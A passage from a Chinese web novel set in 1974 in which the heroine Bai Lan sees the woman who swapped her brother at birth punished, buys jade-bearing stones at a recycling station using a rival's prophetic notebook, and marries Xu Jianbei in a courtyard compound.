钱春云还不知道大杂院有“惊喜”等着她呢。见方保卫就这样丢下自己。只能咬牙去报社找白苹。 不过，她注定会失望。 因为白苹根本没在报社。这会儿她人在宋家呢！ “伯父，伯母。我跟国平已经结婚了。所以婚宴到底什么时候办？总不能我直接住家里来吧！” 这是这半个月以来，白苹第一次踏足宋家。之前她其实是不敢来的。但是今天接到了她那亲爹的电话后，白苹还是来了。 方厂长媳妇不客气地说道：“不跟你离婚，就是我们家最大的忍让了。婚宴你就别想了。你不要脸，我们家还要。” 外头人现在谁不知道他们老宋家，居然娶了个身家不清白的人。要不是那个方立业肯让点利益出来。加上他们家怕人家议论，不好立马甩开白苹。不然现在，这人也不能在他们家说话。 白苹想骂人。但想到电话中方立业的叮嘱，咬牙忍下：“行，婚宴不办可以。但我要住进来。我是宋家儿媳妇，老是住外面，妇联的人就要过问了。” 这话隐隐带着威胁，宋厂长媳妇恼怒。但他们夫妻已经商量好了，确实该把人弄家里来。最好关着不让她出去晃悠，免得继续丢他们老宋家的脸。 想通了这点，宋厂长媳妇改口：“行，你今天就搬过来。” 就这样，当初还在憧憬自己风光嫁人的白苹，最终拎着包袱，在众人不知道的时候，就这样灰溜溜进了宋家的门。 白兰还是在几天后，从曹昌盛口中得知的。 当然啦，现在白兰可没时间去关注白苹。因为她哥方保卫，哦不对。现在应该叫白保卫，今天正式从海城方家搬到了三号大杂院。 但并不是住在老白家。因为白家都是闺女，屋子也不好让他住。所以，白保卫让厂里把他安排到钱家的屋子。 没错，就是钱家之前住的那间东厢耳房。 因为钱大妈犯事儿了，还会被送到农场劳改。所以，钱大爷这个纺织厂退休老职工也没脸继续住在这儿。钱大妈的处理结果出来后，他立马收拾东西，一起跟了过去。 钱家的屋子产权属于纺织厂，厂里当然马上就收了回去。 大杂院不少邻居都在打这屋子的主意。不过立马就被白保卫给要了过去。他一个技术人员，安排个屋子很正常。 当然，中间厂里也是有给方厂长面子的意思。 所以，白兰才会说这方厂长对她哥好。 这会儿白家人正帮着白保卫收拾屋子呢。边收拾边说笑，准备收拾好后，就一家人一起去乡下探望姥姥家。姥姥家还有不少亲戚，没见过白保卫呢！ 钱春云就是在这个时候来到大杂院的。 大伙儿看着憔悴不堪，跟个疯婆子一样的钱春云，纷纷摇头叹气。但没人同情她。都知道她干的事情造孽。 “你们，你们在干嘛？” 钱春云看着白家人在自家来来去去，立刻大喊起来。 “这以后是我儿子的屋子。”白妈妈板着脸对着昔日的好友说道。 钱春云立马看向儿子，得来的之后对方躲开的脸。 她还想闹，但已经有人去喊了街道人过来。 “钱春云，你的介绍信已经过期了。限你今天内离开北城回到你的户籍地。” 钱春云当初过来的时候，介绍信也就一个星期。她人都被拘留了半个月。介绍信早过期了。本来她从里头出来，就应该按照警察的要求，去附近的收容所报道。等待统一的返乡遣返。 结果，钱春云跑去找白苹，人又没找到。回来找她爸，发现她爸也不见人影。生活了几十年的家，也被白家人给占了。 这样的打击让钱春云无法忍受。但她没有机会撒野。 因为街道的人早已经知道她的事情，来的时候就带足了人手。很快，钱春云就被街道的人押走了。 “她这也算是求锤得锤了。” 白兰一点都不可怜这个女人。她当年的隐瞒，直接害了自家。这过错永远无法弥补。 当然，这会儿白家人都特别高兴。 儿子找回来了，还是个懂事三观正常的孩子。全家人团聚，仇人又得到了报应。再也没有比这样更好的了。 第40章 第40章原剧剧情再现 “回来就好，回来就好！” 红河大队老河家，白家人大门都还没进呢，大舅妈、二舅妈就已经拉着白保卫不松手。 “你大舅、二舅都说你长得像咱老何家的人。我跟你二舅妈还寻思着到底多像呢！好家伙，你这不活脱脱一个何家人吗？”大舅妈瞧着这外甥，真是越看越觉得亲近。 白兰看着跟三个表哥站一起的白保卫，也 忍不住感叹一句，真像亲兄弟。 不是那种一模一样的像，就是那种轮廓、神态特别像。旁人一看，就会说这是一家人的那种。 “天杀的，那该死的钱春云。要不是被警察抓走了，我保准过去抓花她那张老脸。” 大舅妈见白保卫长得跟自家儿子也没差，心里越发讨厌钱春云这女人。 “大嫂别生气。她以后的日子都不会好过的。” 白妈妈连忙劝了起来。然后把钱家的后续跟大家伙说了一下。 “该！就该这样！” 一时之间，整个白家的气氛都松快了起来。 白兰见状很高兴，也没凑过去打扰这些长辈们的聊天，而是走到院子打量周围的情况。 —— 红河大队虽说是农村，但因为就在北城郊区，所以这里的人不算穷。最起码没人饿肚子。家家户户的房子不说青砖瓦房，但瞧着都挺结实的。 何家位于村子的中心，周围都是住户。见到白兰出来，不少人都朝她这边看过来。 白兰微笑着点点头，没有跟他们搭话。只观察起村里的情况。 家家户户的院子都有两只鸡在走动，猪的话倒是比较少人养。好像听说过村里有一个集体养猪场。 “白兰，你在看啥呢？” “在看大家家里养的鸡跟猪呢！” 何学军：“这有啥好看的。哦，你这是想吃肉啊！” “瞎说什么呢？白兰家才不缺肉吃。”何学军的双胞胎妹妹也走了过来，一手就拍向哥哥的后背。 何学军立马就龇牙咧嘴起来。 白兰见状觉得特可乐。这对龙凤胎这样亲近，如果白保卫没有被换走，估计她二姐的性格也不会这样绵软。 总觉得二姐会是这么个性格，跟白苹从小仗着所谓的体弱占便宜，有很大关系。 不过这种扫兴的话白兰也不会说。只笑着打趣道：“秀丽，听说你最近有情况？” 何秀丽一听，脸一红：“八字还没一撇呢。不像你，刚姑说了，你都快要结婚了。” 何学军立马问：“是跟许建北那小子吗？” 白兰也伸手给了何学军后背一掌：“不是他还有谁啊！” 何学军：“我这不是觉得你还小嘛！” “小什么小，难道还想兰兰像你们兄妹那样，都快20了，对象连个影儿都没有？” 二舅妈端着个搪瓷盆从屋里走出来，边走边吐槽：“兰兰，你可别学他们。你那对象就很不错。你姥姥、大舅、二舅见过都说好。刚你妈还说，你们都在准备结婚的东西了。日子定好后，记得早点跟家里说。” 白兰点头。她铁定会提前跟姥姥家说的。不过最近这半年，家里接二连三发生各种事情。这次结婚，白兰不准备大办。 最多就请亲朋好友吃个饭就算了。 —— 二舅妈说完继续去干活，白兰则拉着何学军打听起肉的事情来。 “这结婚要用的肉，也不用你准备啊！那不是男方的事儿吗？”听到白兰的话，何学军惊讶道。 白兰摇头：“不是结婚用的。是有朋友要！” 其实是柳美玲要的。 要不说柳美玲果然是短剧女主嘛！人家不声不响，在大杂院低调行事，嫁过来还不到半年。居然把事情搞得有声有色。白兰也是昨天才从许建北那知晓，柳美玲搞起了卤肉批发了。 没错，就是年代文、年代剧女主必备的卤肉生意。 这生意许建北初始就投了钱进去的。白兰也知道。所以当许建北提起柳美玲的卤肉生意做大，肉的来源不够后，白兰马上就想到二舅一家。 二舅跟他老丈人都在公社屠宰场杀猪，何学军也在屠宰场收鸡鸭。对肉源应该有门路。 何学军一听，小声道：“你不是干什么事情了吧！” 跟肉打交道，何学军可知道太多门门道道。 白兰是知道这位表哥的。虽然表面看着跳脱，但心里是个有成算的。她也没隐瞒，挑了些可以说的解释。 “就是有个朋友在黑市倒腾卤肉。你知道的，这卤肉没肉就没得卤。所以，想问问你那边能不能搞来肉，量多量少都行，但是得稳定。” 不稳定，这生意就不能持续。 何学军惊讶地看向白兰：“哎呀，你还有这种朋友啊！” 何秀丽同样惊讶：“你小心点哦。” 白兰笑了笑：“我又不参与进去。” 至于柳美玲，人家有主角光环，不会有问题的。自己跟许建北跟着对方喝汤，这就挺好的。 见白兰心里有数，何学军这才介绍起他们屠宰场的肉源。 像普通的鸡鸭鹅，都是周边村子的人送去收购站。收购站再送屠宰场。偶尔他们也会派人去底下的生产大队收。至于猪肉这话中大型牲畜，除了任务猪，就是公社养猪场的人送来的。 光是靠什么野猪或者散户的猪，那是不可能的。 “所以，如果你那朋友真想要。这边公社养猪场就需要打点一下。好肉就别想了。一些边角料，猪杂、猪头应该能弄来。” 做卤肉这些部位尽够了。白兰点头：“等回去我就问问。要的话，我就给你打电话。当然，中间花费多少，你可别傻乎乎自己补贴。” 何学军翻了个白眼：“那我可没那么伟大！” 兄妹间说说笑笑，就把事情敲定了下来。 等回城的路上，白妈妈还好奇小闺女到底跟二哥家的小孩说啥了。 白兰神神秘秘道：“以后就知道啦！” 这事情要操作得好，不说大舅家，二舅家的日子应该能过得更好。 老何家的条件虽然在村里算得上好。但跟城里是有差距的。姥姥家这些亲人一个个都特别好。白兰也想他们在市场开放前，多积累一些本钱跟经验。 等市场开放后，这才可能立马抓住风口。 —— 一家人回到大杂院已经是接近傍晚六点。夕阳下，整座大杂院都很热闹。显然大伙儿还沉浸在钱家人搬走，白家人占了房子这个事情。 白兰没有直接进家门，而是去西厢房找许建北。 “哎哟，白兰这是来找小弟啊！” 人还没走到许建北那屋呢，白兰就被苏小妹给叫住了。 对方十分热情地朝白兰说道：“小弟刚去供销社打酱油了，家里酱油没了。你吃饭了吗？要不来家里吃个饭？” 这样热情的苏小妹，白兰还是第一次见到。无事献殷勤，白兰直觉有猫腻。 但苏小妹可不知道白兰想啥，只一味招呼人进屋里。 白兰看到柳美玲也在，想了想还是走进了许家。 许家堂屋里坐满了许家人，见到白兰自然又是一番打招呼。之后白兰略过苏小妹的手，直接走到了柳美玲身边坐下。 “美玲，我……” “哎哟，白兰。咱以后都是要做妯娌的人了。你怎么那么偏心，只跟三弟妹说话？” 白兰叹了口气看向柳美玲，用眼神询问对方，苏小妹这是吃错药了吗？ 柳美玲耸耸肩，表示不清楚。 白兰见状再次叹气。要说嫁给许建北哪里不好，就是他有许建东、苏小妹这样的大哥大嫂了。但人无完人，许建北以后也不靠他大哥大嫂，其实也不用怕这些人。 所以白兰只朝苏小妹礼貌笑了笑。继续跟柳美玲说道：“东西我问过了，有门。” 柳美玲自然知道这东西指的是什么，脸色的喜色一闪而过。这肉有了，她的卤肉生意就可以做大了。 苏小妹见自己被这样无视，心里十分不爽。但想到自己的盘算，愣是把这口气压了下去。 她还想说什么，但许建北已经把酱油打回来了。 见白兰在自家堂屋坐着，愣了愣，随即笑着 说道：“回来啦！” 白兰：“是啊……”说着，白兰起身朝许建北扬了扬下巴，示意出去说。 两人一出去，苏小妹就撇撇嘴：“一家人有什么秘密啊！还躲外头说去……” 柳美玲无语：“大嫂，你觉得没秘密，那你能告诉我你存了多少钱不？” “你……”苏小妹被怼得说不出话来。 白兰不知道老许家的机锋，一出来，她就找了个方便说话的地方，直接把肉源的事情说了。 许建北听完，沉吟片刻道：“可以，这个事儿你以后不用管。我先跟学军那边联系。把三哥介绍给他。之后的事情，让三哥跟学军联系。” 这门卤肉生意，三嫂柳美玲负责配方跟生产，三哥许建南负责原材料跟送货。许建北则是个投资的。收入两家二八分。只分二成，要做的事情自然很少。 白兰听完连连点头。柳美玲跟许建南是男女主，有光环加深。不会有问题的。这两人做这门生意半年多了，一直没出事。但白兰从工作的食堂那边听说过，其实偷偷摸摸在黑市卖吃食的人，有不少都被逮了。 所以，白兰坚信男女主是有主角光环的。她一个普通路人甲，就不掺和进去了。 —— “怎么不叫白兰来家里吃饭？”饭桌上，苗大菊问小儿子。 许建北：“她在她姥姥家吃过了。” “吃过了也可以邀请来家里喝个汤什么的。这都要结婚了，正好跟咱家里熟悉熟悉。”苏小妹热切地插嘴，一副好大嫂的模样。 许建北不知道她又想干啥，直接就当没听到。屋里其他人都是同样的态度。 白兰就在大杂院居住，哪里用得着什么熟悉熟悉的。 苗大菊觉得大儿媳可能又想什么鬼主意。无奈摇头，继续跟许建北说话：“你们这结婚的日子有没有想法？这眼瞅着还有二十多天就过年了。是想过完年再结婚吗？” 对于结婚时间，两人其实还没来得及商量。 “吃过饭我跟她商量一下。” “那行，你自己都有章程，我跟你爸就不催。要上门提亲了，你提前告诉我们就是了。” 这小儿子从小就不在跟前长大。长大后回来，人又独立。什么都自己安排得好好的。苗大菊很遗憾不能参与进来。但也很骄傲有个这样自立的儿子。 想到这里，她又看了眼埋头吃饭一副饿死鬼样子的大儿子，气不打一起处来。 许建北见他妈又瞪大哥，跟三哥对视一眼，兄弟两人齐齐无语。这大哥着实不怎么像话。家里虽然不是顿顿都有肉，但也用不着看到点肉沫就拼命在菜里捞。 许建北想等跟白兰结婚后，这吃饭的问题也要好好的安排。不能让大哥这样的，恶心得人吃不下饭。 —— 白兰不知道老许家发生的事情，回到家里开始收拾屋子。 之前她跟白苹住一个屋。但白苹已经不是她家的人，双方又撕破脸。之后白苹就把她的东西嫁妆统统拉走。留下许多杂物都没清理。 现在有空，白兰就开始收拾了起来。 有不要的碎布头、破旧的木盒子，居然还有几双穿烂的布鞋。白兰边收拾边想骂人。这白苹人走了居然还留了这些垃圾下来。真是让人讨厌的。 虽然不爽，但白兰收拾的动作很快。这房间收拾好后，就住她一个人了。之前她跟大姐提议，让大姐一家三口住过来，她搬过去跟二姐一起住。但被大姐拒绝了。白兰估摸着大姐有想攒钱买一个房子的想法。 这个白兰特别鼓励。现在的房子不贵，买了留个十年八年，那升值的幅度，简直会吓死人。 忽然，白兰的动作一顿。只见被床板遮挡的墙角处，有一个破破烂烂的本子。应该是读书时候用剩下的。 白兰直觉在这里有什么东西。于是，推开床板，把本子拿了起来。然后坐到书桌边看了起来。 本子前面还是写的作业内容，后面居然是一些乱七八糟的字。内容却让人惊讶。 邱成才窝囊废，窝囊废…… 几十个窝囊废出现在本子上，可以想见白苹的怨念到底有多大！ 窝囊废之后，就是白梨、许强。白兰看到这神色一凛。白苹把二姐的名字，跟这个什么许强写在一起。难不成这许强以后是二姐的对象？ 不知道白苹做的梦境到底是什么，所以白兰只能把这个记下来。平时多留意一下二姐身边到底有没有出现这个人。不过话又说回来，她怎么觉得这个名字有点耳熟呢？ 白兰又想了想，实在想不起来，暂时只能这样。 二姐的名字之后，就是柳美玲、许建南有钱。 看到这个，白兰倒不惊讶。这两人可是短剧的主角，而白苹的梦境应该会出现一些剧情。所以知道柳美玲跟许建南的未来一点都不奇怪。 看到这里白兰以为就差不多了。结果没想到后头还有一页。 这一页纸上记载的内容，简直让她惊讶得说不出话来。 好一会儿过后，白兰直接把这些内容抄下来。再然后，麻溜儿喊大姐、二姐过来帮忙。把清理出来的杂物全部丢到垃圾堆。至于这个本子，则是丢到煤炉子里面烧了。 丢失了那么重要的本子，白兰估摸着等白苹在宋家安定下来后，铁定会想起来，然后回家找的。她先一步把东西给扔了。到时候白苹就只能抓瞎了。 只是没想到白苹的梦居然全部都跟钱、跟有名有权的人士有关。 没错，最后一页记载的内容，有往后会出现的名人权贵。不过这些白兰这个穿越来的，全部都知道。除了这个以外，里头居然有不少捡漏记录。 比如什么时候哪个地方有人发现什么宝物云云。 这种事情报纸电视可能不会写。但是小范围的民间传播肯定是有的。 通过这些记录，白兰可以确定，白苹的梦境应该只跟她自身有关。 而白苹把那些梦中听到的捡漏细节写下来，应该是想自己去捡漏的。但现在，都便宜白兰啦！ 白兰想到白苹以后错失好东西的表情，就觉得特别可乐。 甚至准备这两天，就去把一个漏给捡了。不过在那之前，白兰还是去找二姐，旁敲侧击问她认识一个叫许强的男人不。 得到的答案果然是不认识。白兰也没再追问下去。别没发生事情，让自己一问，事情反而发生了。蝴蝶效应可要不得。 就这样，这一天白兰过得十分舒心。等晚上进入梦乡后，她居然又做起了特别的梦。 上一次做这种梦，还是大姐跟秦胜利离婚后做的。这一次，梦境是跟她哥白保卫有关。 梦里，白保卫并没有改姓，更加没有跟白家相认。他依然叫方保卫。 这个方保卫认真工作，努力生活。跟所有普通人一样，在二十左右的年纪，通过相亲结婚了。婚后的生活平平淡淡，直到三十左右方厂长意外去世。钱春云开始作妖。 先是闹腾得方保卫跟妻子离婚。再之后说是帮忙带孙子。结果光顾着打麻将，把孙子给弄丢了。儿子丢了，方保卫无心工作。踏上了艰难的寻子之路。蹉跎半生，最终在五十岁的时候，找回了儿子。可惜，他那会子因为找孩子受太多苦。孩子找回来还没高兴几天，人就没了。 而钱春云在这几十年里，并没有因为丢了孙子而愧疚。反倒是觉得自己把方保卫养得那么好。结果方保卫光顾着找儿子，没有赚钱给自己养老。 多亏了方厂长的死忙赔偿金，加上后来国家政策好了，她的退休金一个月上万块。日子才没有落魄下去。 方保卫死了后，他的死亡赔偿金钱春云居然还分了一份。 梦境的最后，钱春云一副总算没那么亏本的样子，直接把白兰给气得醒了过来。 醒过来的白兰锤了锤床板，觉得钱春云就这样被遣送回海城，好像还便宜她了。不行，白兰起床，决定写一份钱春云换孩子的材料，往海城各大报纸寄过去。 她得让钱春云在海城也混不下去。 虽然听说方厂长要跟钱春云离婚。但按照方厂长的处事，估计会给钱春云分不少东西。白兰可不想让钱春云拿着钱，有着一份好工作，继续在海城潇洒下去。 这些材料在半个月后，刊登到海城各大报纸。因为换孩子的恶劣事情被公开，本来不准备开除钱春云的方厂长。最终不止跟她离婚，还把她从厂里开除出去。 钱春云最后在海城出门就被人丢垃圾，混不下去只能去投奔已经去农场的父母。 当然，这些都是后话了。反正白兰写完材料后，终于踏踏实实睡了个好觉。 一觉起来，看到在堂屋吃早饭，跟父母聊天的哥哥白保卫。白兰心情很好地喊了声哥。然后在哥哥的笑容中，元气满满上班去。 这天上班自然又是被食堂的大妈婶子们，问了不少换孩子的事情。 白兰现在可致力于把钱春云的“好事”宣扬出去。一个换孩子的事情，被白兰讲述得跌宕起伏，说完后，食堂不止大妈、婶子了。就是后厨那些师傅们，一个个都臭骂钱春云。 等到中午午休，白兰去找许建北吃饭。把写材料的事情跟他提了提。 “挺好的。她这样的人，受到的教训还不够。这样让大家都知道她干的好事。以后其他人也就不敢这样干了。” 干了坏事，坏了名声，在这个时候根本没办法立足下去。 白兰说着说着，就说道了下午下班后一起去回收站的事情。 “就胡同外头那家回收站？” 白兰点头。距离杏花胡同不远就有一家回收站。规模不大，站长跟胡寡妇的男人是好朋友。高青青也是对方介绍过来的。 “艳子在那上班也两个多月了。据说还在等转正名额。不过，胡爱花也在等转正名额。那回收站一年也不知道有没有一个转正名额。” 胡爱花是胡寡妇的闺女，在那回收站干的也是临时工。秦艳当初也是白爸爸跟人搭关系塞进去的。 里面工作的人中，还有两个人都是靠关系进去的。所以这转正名额可抢手的很。 “我准备去那找些闲书回去看。” 之所以要去那回收站，是因为白苹那本子上记录了一个捡漏事情。 如果没有错的话，就在他们吃饭的这个时间，会有一批被抄家挑剩的垃圾往那边送。里头就有一个大漏可以捡。 40-50 第41章 第41章捡漏的路子 三号大杂院所在的胡同叫做杏花胡同。杏花胡同隔壁还有一条荷花胡同。这两条胡同交叉的地方是一条大路。路出来后就是主干道。主干道上就有街道办、邮局、菜站、供销社、副食品站、回收站。 所以，别看他们那是大杂院，但生活上其实特别方便。 其中回收站占地也就两百个平左右，三大间的红砖瓦房。规模不大，但里面塞了不少人。 白兰跟许建北这会儿已经来到回收站附近。远远就可以看到门口一堆堆杂物。看起来乱糟糟的。 “怎么要你来分拣？”白兰看到秦艳带着劳保手套，在那分拣杂物，直接问道。 秦艳朝白兰挤眉弄眼，白兰立刻注意到门口那坐着两个正聊天的大妈。 那两人应该就是回收站的正式工工人。这种公家单位，临时工做得多，正式工摸鱼挺常见的。白兰也不多问，免得给秦艳工作带来麻烦。 于是点点头，直接问：“这些东西能买不？” 秦艳不知道白兰要买这些破烂做什么。不过还是点头：“你挑，挑中啥咱再算价格。” 那头两个聊天的大妈听到白兰的话，嘲笑道：“哎，同志啊！那东西都是不值钱的破烂。你可别以为有啥好东西想捡漏啊！” 两人说说笑笑，结果看到白兰抬头看向她们，立马就把人给认了出来。 这里距离荷花胡同那么近，最近白家换孩子的事情可闹得沸沸扬扬。当下，就不笑话白兰了。反倒是凑过来想跟白兰打听这换孩子的细节。 白兰知道这两人不是啥好人，也没吭声。叫上许建北就开始翻东西。 两大妈见状，撇撇嘴，怕被杂物碰到，连连躲开。 等她们一走开，白兰这才认真翻起东西来。 许建北是知道白兰要找些闲书来看的。于是，翻东西的时候，就特意留意纸质物品。不过，最后也只翻到几本小人书。 白兰看到这些破破烂烂的小人书也没嫌弃。反正她已经发现要找的目标了。 于是，白兰拿着那几本小人书，直接走到里面的仓库。 回收站买卖东西都需要去仓库登记，等仓管开票后，去会计那交钱。这才能把东西拿走。 不过在她拿着票交钱的时候，居然看到隔壁站长办公室的门被打开。 “老何，这事儿你可得盯紧了。别到时候我们家爱花啥都没捞到。” “行行行，这个你放一百个心！” “哼，上次高青青那事儿你也是这么说。” “哎哟，我的姑奶奶。这次保准不会出错。” 对话双方都太熟稔了，一听就是有很久交情的。 不过这两人一个是回收站的何站长，一个是他们大杂院的胡寡妇。胡寡妇身后还跟着她女儿胡爱花。 怪不得一路进来都没瞧见胡爱花呢！ 白兰感叹一声。就见胡寡妇已经朝她这边看了过来。 “哎哟，白兰。这是来买啥呢？” 白兰挑眉：“买点旧书回去引火。” 听到是这个，胡寡妇就没兴趣了。直接跟何站长挥手，带着胡向花就往家里走。 白兰见状也没说什么。跟会计交钱后，立马就去领了那几本小人出来。 当然，在走到大门口的时候，白兰特意跟那两大妈问道：“那边角落有几个破石头，不是你们回收站的吧！” 大妈们眼睛一扫，见就几块篮球大小的石头，也没在意：“不是不是。你要的话自己搬走。” 白兰心中一乐，面上不显：“太好了，家里正缺石头压咸菜呢！” 秦艳听到后，等白兰过来小声说：“那破石头是跟着这些破烂送过来的。都是破烂，你干嘛要啊！压咸菜还不如去找块好平整点的。” 那几块石头不圆不方的，瞧着没啥大用。 但白兰的目的确实是这几颗石头，乐得摇头道：“没事，搬回去我妈想用哪个就哪个……” 最后，白兰跟秦艳要了个麻袋，把那几颗石头装进去。然后让许建北帮忙扛着回大杂院。 路上，白兰心情很好地跟许建北说：“你相信这些石头以后会很值钱吗？” 许建北摇头。他知道白兰不会无缘无故要这些石头，只是也不清楚到底有什么特别。 白兰捂嘴直乐：“里面有好东西呢！” 许建北挑眉，笑道：“那可真是大好事！” 两人说说笑笑，很快就回到了大杂院。 —— 刚进后院，大家伙都好奇许建北扛着的麻袋里面装了啥。苏小妹更是热情地凑了过来，一副要帮忙的架势。 白兰无语地看向许建北，许建北摇头：“大嫂，你有空的话，家里大把事情要做。” 说着，就不管苏小妹的反应，把麻袋直接扛到白家堂屋。 “你大嫂这是发什么疯啊！”白兰给许建北倒了一杯水，顺嘴问了起来。 许建北表情一言难尽：“她估计是看上你的房子了。” 白兰：“我的房子？难不成？” 想到了什么，白兰看向许建北。得到对方肯定的点头。 “她就觉得你现在自己一个屋了。以后咱两结婚，我可以住你这里。到时候我那半拉屋子可以腾出来给她两儿子。” 这脑回路哟，白兰不服都不行。 “那你不得成了个吃软饭？”虽然不会退让房子，但白兰还是觉得调侃一番许建北。 “那可不？以后咱家你当家。指哪打哪，保证完成任务。” 这话白兰爱听，扬了扬下巴：“好，你可要记得这些话哦！” 许建北乐了：“保证记得。不说房子，你这麻袋的好东西，我可都还等着呢！” 白兰见他那副傻样，伸手戳了戳他的肩膀。这才小声道：“这些应该就是传说中的原石，里头可以开出翡翠的那种！” 许建北听完，有点惊 讶。但更多是替白兰高兴。从头到尾都没怀疑白兰的话。 白兰见状，更加高兴了。然后就说起结婚的日子。 “现在到年底我这里都不忙。” 许建北上次去了海城回来后，就忙着各种开会学习讨论。也就这两天才清闲下来。 白兰想了想，现在是74年底，再过两年高考都要来了。现在结婚，到时候能腾出手来准备高考。 这样一想，还是早点结婚算了。 于是，她直接说：“咱两过年前结婚。” 许建北淡定点头，心里早已乐开花。 —— 就在两人正高兴的时候，外头传来了一阵热闹。 白兰探头看了过去，就看到白苹正被几个大妈围着问问题。 白苹一脸不耐烦：“我不是回来认亲的，就是回来找东西的。” 说着，白苹看向白家方向，见到白兰跟许建北在那有说有笑，眼中闪过一抹嫉妒。拨开人群直接走了过来。 “我要去你那屋找点东西。” 白兰心想白苹来得还挺快的呀。不过来了也好，早点把这最后的隐患给消除掉。 于是，她笑道：“你的东西不是之前都拿走了吗？” 白苹：“还有些不要的杂物。” 白兰：“你都说是不要的杂物喽。早被扔垃圾堆去了。” 听到东西都被扔垃圾堆了，白苹跳脚：“你怎么能把我的东西扔垃圾堆！” 白兰：“反正你要找就自个儿去垃圾堆找去。” 白苹知道白兰是个油盐不进。虽然气得要死，但还是急匆匆找垃圾堆那边跑去。 众人见状，纷纷好奇白苹到底要找啥。 她们这边的垃圾堆，可是在胡同另一头的荒地上。一般会堆积一两个星期，才会有人过来统一收集拉走。 把讨厌的人打发走了后，白兰又跟许建北继续讨论结婚的安排。 日子一定，宾客、席面、结婚要用的东西，这些统统都要立马准备起来。 —— 另一头，白苹已经跑到垃圾堆开始翻起来。 虽说这时候的人新三年旧三年，缝缝补补又三年。但垃圾还是有的。基本上到垃圾堆的，都是破得不能再破的东西。 白苹在这里找了大半小时，找到了一些自己穿烂的破鞋子，其他东西啥都没能找着。最后只能一身臭烘烘回到了宋家。 宋厂长媳妇见她这副狼狈的样子，嫌弃地捂着鼻子：“好歹你也是我们老宋家的儿媳妇。虽然你妈那头不干人事。但你也别这样搞啊！” 白苹这会子还在痛惜自己失去了那个致富的本子。听到这些话，怒瞪了过去。 宋厂长媳妇见状，不客气地骂道：“谁给你胆子瞪我？信不信我让国平揍你！” 白苹是信的。所以她聪明地低头，灰溜溜地回到屋里。 宋家全家都不欢迎她，本子又丢了，白苹焦虑地拼命咬指甲。 那本子上记载的东西，大部分都是她梦中得到的信息。因为过了好一段时间，有些内容她还记得，有些却忘记了。本子没了，那她会错过好多好东西。 这样想着，白苹更加心焦了。宋家人眼瞅着靠不住，她得找个更加稳妥的退路。 说干就干，白苹努力回忆起一些事情，再次用本子记了下来。这次她一定要把这本子藏好，不要再丢了。 —— 确定好了结婚的事情，许建北这边立马就着手安排。有些缺的，直接找三哥许建南。加上之前在海城买的东西，就准备得差不多了。 还有就是请客人。他跟白兰都决定只请关系好的朋友跟亲戚。加上大杂院的邻居，算下来也不超过10桌。 食材的话，白爸爸那边会准备一部分。他这里也会提供一些。 接下来的一段时间，就是把结婚的衣服、被子、鞋子做好，就没有其他事情了。 白兰安安心心地上班下班，其它时间就跟裁缝商量衣服的裁剪。她也没搞特殊，就按照这时候的风气，做了一身红色的大棉袄。大冬天的，也穿不了多漂亮的衣服。 等这些东西都准备好后，结婚的日子也到了。 第42章 第42章白兰结婚 “转眼间你这就要嫁人了。还怪舍不得的。” “哎哟，小妹。兰兰这嫁到同一个大院的，想她了，你站院子喊不就得了！” 大舅妈听着白妈妈的感叹，哭笑不得。 白兰正拿着一管口红给自己上点腮红呢。听到这对话也笑了起来。她这娘家婆家直线距离可不到五十米。真是应了那句，抬脚就能回娘家。 她觉得这样挺好的。大杂院的姑娘、小媳妇，大把都羡慕自己了。 这不，秦艳一听这样，跟着附和：“就是，就是。以后我也要嫁离家近的人家。” “哎哎哎，你个小姑娘真不知羞。”秦婶子好笑地拍了拍女儿的肩膀。一副拿她没办法的样子。 “这有啥的。女娃嘛，早点知道想找个啥样儿的，以后不容易别人骗！” 白姥姥从外头进来，听到这话就来了这么一句。 这话在理，瞬间屋里又是一阵点头附和。 女方家这样热闹，男方家那边也不遑多让。 只见西厢老许家，这会儿已经围了不少人。一部分是大杂院的邻居，一部分则是许建北的同学朋友。 曹昌盛作为许建北的铁哥们之一，那叫一个忙啊！当然，宁大头这家伙，作为头号小弟，那更是热情地招呼着宾客。 许建北很高兴这帮兄弟的帮忙，整理着衣服还不忘打趣：“以后你们两结婚，一句话我保证帮忙。” “哎哟喂，建北。你小子还有这客气的时候。”曹昌盛吐槽道。 大头立刻嚷嚷：“曹哥，你就不懂了。我北哥那叫……” “北哥啥……” 许建南兴匆匆地走了进来：“建北，你这边搞好了不？时间差不多了。去接了你媳妇，咱自行车队就要出发了！” 刚还神采飞扬的许建北，难得地紧张了一下。拉了拉胸口带着的大红花，深吸一口气：“准备好了。” 白兰这边刚打扮好了，那头就听到一群年轻人吆喝的声音。她不用看就知道时间差不多了。 果然，就看到秦艳跟热锅上的蚂蚁那样，跑进来：“来了，来了……” 紧接着白兰就听到隔壁堂屋传来许建北跟父母说话的声音。内容不外乎就是结婚后要好好相处一类的话题。之后马上人就往这边来了。 —— 见到穿着红色大棉袄，盘着头发，脸色红润，双眼明亮的白兰，许建北觉得自己的心跳砰砰直响。他捂了捂胸口，朝白兰露出一个灿烂的笑容。 白兰特喜欢这个笑，也跟着傻笑起来。 两人这一番对视，自然引起了周围人哄笑。热闹中，白兰的手跟许建北的牵到一起，两人在众人的簇拥下再次来到堂屋拜别家人。 因为嫁得太近，白兰是一点都不伤心。高高高兴兴走流程，跟长辈们拜别后，就随着许建北出门去了。 没错，两家虽然离得近，但也不是说抬脚就把新人接到家里。而是找了十台自行车排成一队，就在附近几条胡同骑上一圈再回来。 这是白兰最为期待的环节。 天公作美，今天没有下雪，蓝蓝的天空下，还有温暖的阳光照了下来。 自行车车队一出发，立刻引得周边邻居们的围观。 白兰坐在后座，单手抓着许建北的衣摆，小声道：“我今天特别高兴。” 骑着车子的许建北猛点头：“我也特别高兴。” 两人说着悄悄话，看着往来的人群或好奇或古怪的表情，觉得特别有趣。 自行车走了一圈，很快就回到了大杂院。 这时候大杂院的前院跟后院已经摆好了桌椅板凳。就等他们走完仪式就开始上桌吃饭。 仪式特别简单，两人对着伟大领袖的画像鞠躬宣誓。之后新婚夫妻两就从屋里走出来。大大方方迎接亲朋好友的祝福跟调侃。 —— “诶，白梨。你妹妹都结婚了。要不要大妈给你介绍对象？” 白梨正在给看热闹的人倒水，冷不丁被人问了这么一句，愣了愣。 白兰就站在不远初，也听到了这话，看向二姐。 二姐白梨摇头，没有理会问问题的大妈。 白兰知道以二姐的性格，也说不出什么难听的话来。能无视对方就差不多了。她故意喊道：“二姐，你过来一下。帮我拿点东西……” 许建北见状，赶紧拉着在边上说笑的曹昌盛：“昌盛，帮忙看着点周围人。” 曹昌盛有眼色的很，立马跟许建北点头表示他懂了。 除了这个插曲，一直到吃饭，院子的气氛都特别好。就连平时爱挑事的胡寡妇，也窝在家门口没凑过来。 —— 